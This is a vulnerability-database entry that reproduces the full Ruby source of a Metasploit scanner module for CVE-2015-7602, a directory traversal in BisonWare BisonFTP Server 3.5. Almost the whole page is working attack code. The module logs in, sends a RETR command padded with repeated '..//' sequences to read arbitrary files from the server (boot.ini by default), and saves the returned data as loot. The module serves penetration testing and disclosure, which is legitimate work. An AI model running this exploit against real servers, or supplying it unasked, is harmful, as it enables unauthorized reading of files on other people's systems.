Search...

BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure

2015-11-08T05:34:10
ID MSF:AUXILIARY/SCANNER/FTP/BISON_FTP_TRAVERSAL
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a directory traversal vulnerability found in BisonWare BisonFTP server version 3.5. This vulnerability allows an attacker to download arbitrary files from the server by crafting a RETR command including file system traversal strings such as '..//.'

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Ftp
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure',
      'Description'    => %q{
        This module exploits a directory traversal vulnerability found in BisonWare BisonFTP server
        version 3.5. This vulnerability allows an attacker to download arbitrary files from the server
        by crafting a RETR command including file system traversal strings such as '..//.'
      },
      'Platform'       => 'win',
      'Author'         =>
        [
          'Jay Turla', # @shipcod3, msf and initial discovery
          'James Fitts',
          'Brad Wolfe <brad.wolfe[at]gmail.com>'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'EDB', '38341'],
          [ 'CVE', '2015-7602']
        ],
      'DisclosureDate' => 'Sep 28 2015'
    ))

    register_options(
      [
        OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
        OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
      ])

  end

  def check_host(ip)
    begin
      connect
      if /BisonWare BisonFTP server product V3\.5/i === banner
        return Exploit::CheckCode::Appears
      end
    ensure
      disconnect
    end

    Exploit::CheckCode::Safe
  end

  def run_host(target_host)
    begin
      connect_login
      sock = data_connect

      # additional check per https://github.com/bwatters-r7/metasploit-framework/blob/b44568dd85759a1aa2160a9d41397f2edc30d16f/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb
      # and  #7582
      if sock.nil?
        error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
        print_status(error_msg)
        elog(error_msg)
      else
        file_path = datastore['PATH']
        file = ::File.basename(file_path)

        # make RETR request and store server response message...
        retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
        res = send_cmd( ["RETR", retr_cmd])

        # read the file data from the socket that we opened
        # dont assume theres still a sock to read from. Per #7582
        if sock.nil?
          error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
          print_status(error_msg)
          elog(error_msg)
          return
        else
          # read the file data from the socket that we opened
          response_data = sock.read(1024)
        end

        unless response_data
          print_error("#{file} not found")
          return
        end

        if response_data.length == 0
          print_status("File (#{file_path})from #{peer} is empty...")
          return
        end

        # store file data to loot
        loot_file = store_loot("bisonware.ftp.data", "text", rhost, response_data, file, file_path)
        vprint_status("Data returned:\n")
        vprint_line(response_data)
        print_good("Stored #{file_path} to #{loot_file}")
      end

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
      vprint_error(e.message)
      elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
    rescue ::Timeout::Error, ::Errno::EPIPE => e
      vprint_error(e.message)
      elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
    ensure
      data_disconnect
      disconnect
    end
  end
end
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by